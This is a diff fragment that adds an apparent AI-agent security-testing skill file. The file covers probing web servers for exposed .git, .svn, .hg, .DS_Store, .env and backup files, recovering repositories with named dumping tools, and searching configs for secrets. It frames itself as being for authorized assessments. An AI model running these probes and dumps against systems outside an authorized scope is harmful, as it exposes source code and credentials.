+ - [CRLF Injection](../crlf-injection/SKILL.md)
34
+ - [Extra Injection Types (SSI, LDAP, XPath)](./EXTRA_INJECTION_TYPES.md)
35
+ - [Request Smuggling](../request-smuggling/SKILL.md)
36
+ - [Prototype Pollution](../prototype-pollution/SKILL.md)
37
+ - [Type Juggling](../type-juggling/SKILL.md)
38
+ - [HTTP Parameter Pollution](../http-parameter-pollution/SKILL.md)
39
+ - [XSLT Injection](../xslt-injection/SKILL.md)
40
+ - [CSV Formula Injection](../csv-formula-injection/SKILL.md)
41
+
42
+ ## Recommended Flow
43
+
44
+ 1. First identify the final sink of the input
45
+ 2. Then choose the topic skill that best matches that interpreter
46
+ 3. Small payload samples and quick triage are merged into each main skill; no extra payload router is needed
47
+
48
+ ## Related Categories
49
+
50
+ - [file-access-vuln](../file-access-vuln/SKILL.md)
@@ -0,0 +1,161 @@
1
+ ---
2
+ name: insecure-source-code-management
3
+ description: >-
4
+ Source control and artifact exposure (.git, .svn, .hg, backups, .env). Use when recon finds VCS paths, 403 on hidden dirs, or backup/config leaks during authorized testing.gated: true
5
+ ---
6
+
7
+ # SKILL: Insecure Source Code Management
8
+
9
+ > **AI LOAD INSTRUCTION**: This skill covers detection and recovery of exposed version-control metadata, common backup artifacts, and related misconfigurations. Use only in **authorized** assessments. Treat recovered credentials and URLs as sensitive; do not exfiltrate real data beyond scope. For broad discovery workflow, cross-load [recon-for-sec](../recon-for-sec/SKILL.md) and [recon-and-methodology](../recon-and-methodology/SKILL.md) when those skills exist in the workspace.
10
+
11
+ ## 0. QUICK START
12
+
13
+ High-value paths to probe first (GET or HEAD, respect rate limits):
14
+
15
+ ```http
16
+ /.git/HEAD
17
+ /.git/config
18
+ /.svn/entries
19
+ /.svn/wc.db
20
+ /.hg/requires
21
+ /.bzr/README
22
+ /.DS_Store
23
+ /.env
24
+ ```
25
+
26
+ **Routing note**: quickly probe these paths first; for full recon workflow, load methodology from `recon-for-sec` and `recon-and-methodology` before deeper testing.
27
+
28
+ ---
29
+
30
+ ## 1. GIT EXPOSURE
31
+
32
+ ### Detection
33
+
34
+ - **`/.git/HEAD`** — valid repo often returns plain text like:
35
+
36
+ ```text
37
+ ref: refs/heads/main
38
+ ```
39
+
40
+ - **`/.git/config`** — may expose `remote.origin.url`, user identity, or embedded credentials.
41
+ - **`/.git/index`**, **`/.git/objects/`** — partial object store access enables reconstruction with the right tools.
42
+
43
+ ### 403 vs 404
44
+
45
+ - **`404`** — path likely absent or fully blocked at the edge.
46
+ - **`403` on `/.git/`** — directory may **exist** but listing is denied; still try direct file URLs:
47
+
48
+ ```http
49
+ /.git/HEAD
50
+ /.git/config
51
+ /.git/logs/HEAD
52
+ /.git/refs/heads/main
53
+ ```
54
+
55
+ A **403 on the directory** plus **200 on `HEAD`** strongly indicates exposure.
56
+
57
+ ### Recovery tools (open source)
58
+
59
+ - **`arthaud/git-dumper`** — dumps reachable `.git` tree when individual files are fetchable.
60
+ - **`internetwache/GitTools`** — Dumper, Extractor, Finder modules for partial/corrupt dumps.
61
+ - **`WangYihang/GitHacker`** — alternative recovery when standard dumpers miss edge cases.
62
+
63
+ ### Key files to prioritize
64
+
65
+ | Path | Why it matters |
66
+ |------|----------------|
67
+ | `.git/config` | Remotes, credentials, hooks paths |
68
+ | `.git/logs/HEAD` | Commit history, reflog-style leakage |
69
+ | `.git/refs/heads/*` | Branch tips, commit SHAs |
70
+ | `.git/packed-refs` | Packed branch/tag refs |
71
+ | `.git/objects/**` | Object blobs for reconstruction |
72
+
73
+ ---
74
+
75
+ ## 2. SVN EXPOSURE
76
+
77
+ ### Detection
78
+
79
+ - **SVN before 1.7**: **`/.svn/entries`** — XML or text metadata listing paths and revisions.
80
+ - **SVN ≥ 1.7**: **`/.svn/wc.db`** — SQLite working copy database (`PRAGMA table_info` after download).
81
+
82
+ Example probe:
83
+
84
+ ```http
85
+ GET /.svn/entries HTTP/1.1
86
+ GET /.svn/wc.db HTTP/1.1
87
+ ```
88
+
89
+ ### Recovery
90
+
91
+ - **`anantshri/svn-extractor`** — automated extraction from exposed `.svn`.
92
+ - **Manual**: download `wc.db`, query with `sqlite3` for file paths and checksums, then request **`/.svn/pristine/`** blobs if exposed.
93
+
94
+ ---
95
+
96
+ ## 3. MERCURIAL EXPOSURE
97
+
98
+ ### Detection
99
+
100
+ - **`/.hg/requires`** — small text file listing repository features; confirms Mercurial metadata.
101
+
102
+ ```http
103
+ GET /.hg/requires HTTP/1.1
104
+ GET /.hg/store/ HTTP/1.1
105
+ ```
106
+
107
+ ### Recovery
108
+
109
+ - **`sahildhar/mercurial_source_code_dumper`** — dumps repository when store paths are reachable.
110
+
111
+ ---
112
+
113
+ ## 4. OTHER LEAKS
114
+
115
+ ### Bazaar (Bzr)
116
+
117
+ - Probe **`/.bzr/README`** and **`/.bzr/branch-format`** for Bazaar metadata.
118
+
119
+ ### macOS `.DS_Store`
120
+
121
+ - **`/.DS_Store`** can encode directory and filename listings.
122
+ - Tools: **`gehaxelt/ds-store`**, **`lijiejie/ds_store_exp`** — parse `.DS_Store` offline.
123
+
124
+ ### Backup and config artifacts
125
+
126
+ Probe (adjust for app root and naming conventions):
127
+
128
+ ```text
129
+ /.env
130
+ /backup.zip
131
+ /backup.tar.gz
132
+ /wwwroot.rar
133
+ /backup.sql
134
+ /config.php.bak
135
+ /.config.php.swp
136
+ ```
137
+
138
+ ### Web server misconfiguration signal (example: NGINX)
139
+
140
+ - **`location /.git { deny all; }`** — may return **403** for `/.git/` while still allowing or denying specific subpaths depending on rules.
141
+ - **403 on a protected location** can **confirm the route exists**; always distinguish from **404** on non-existent paths.
142
+
143
+ ---
144
+
145
+ ## 5. DECISION TREE
146
+
147
+ 1. **Probe `/.git/HEAD`** → `ref: refs/heads/` pattern? → run **git-dumper / GitTools / GitHacker**; review `config` and `logs/HEAD` for secrets.
148
+ 2. **Else probe `/.svn/wc.db` or `entries`** → success? → **svn-extractor** or manual `wc.db` + pristine recovery.
149
+ 3. **Else probe `/.hg/requires`** → success? → **mercurial dumper**.
150
+ 4. **Else probe `/.bzr/README`** → Bazaar tooling or manual path walk.
151
+ 5. **Parallel**: fetch **`/.DS_Store`**, **`/.env`**, common **backup extensions** on app root and parent paths.
152
+ 6. **Interpret status codes**: **403 on directory** + **200 on specific files** → treat as **high priority** for file-by-file extraction.
153
+
154
+ ---
155
+
156
+ ## 6. RELATED ROUTING
157
+
158
+ - From **[recon-for-sec](../recon-for-sec/SKILL.md)** — scope-safe discovery, crawling, and fingerprinting before deep VCS tests.
159
+ - From **[recon-and-methodology](../recon-and-methodology/SKILL.md)** — structured methodology and evidence handling.
160
+
161
+ **Note**: coordinate with recon skills—set scope and request rate first, then run targeted VCS/backup validation.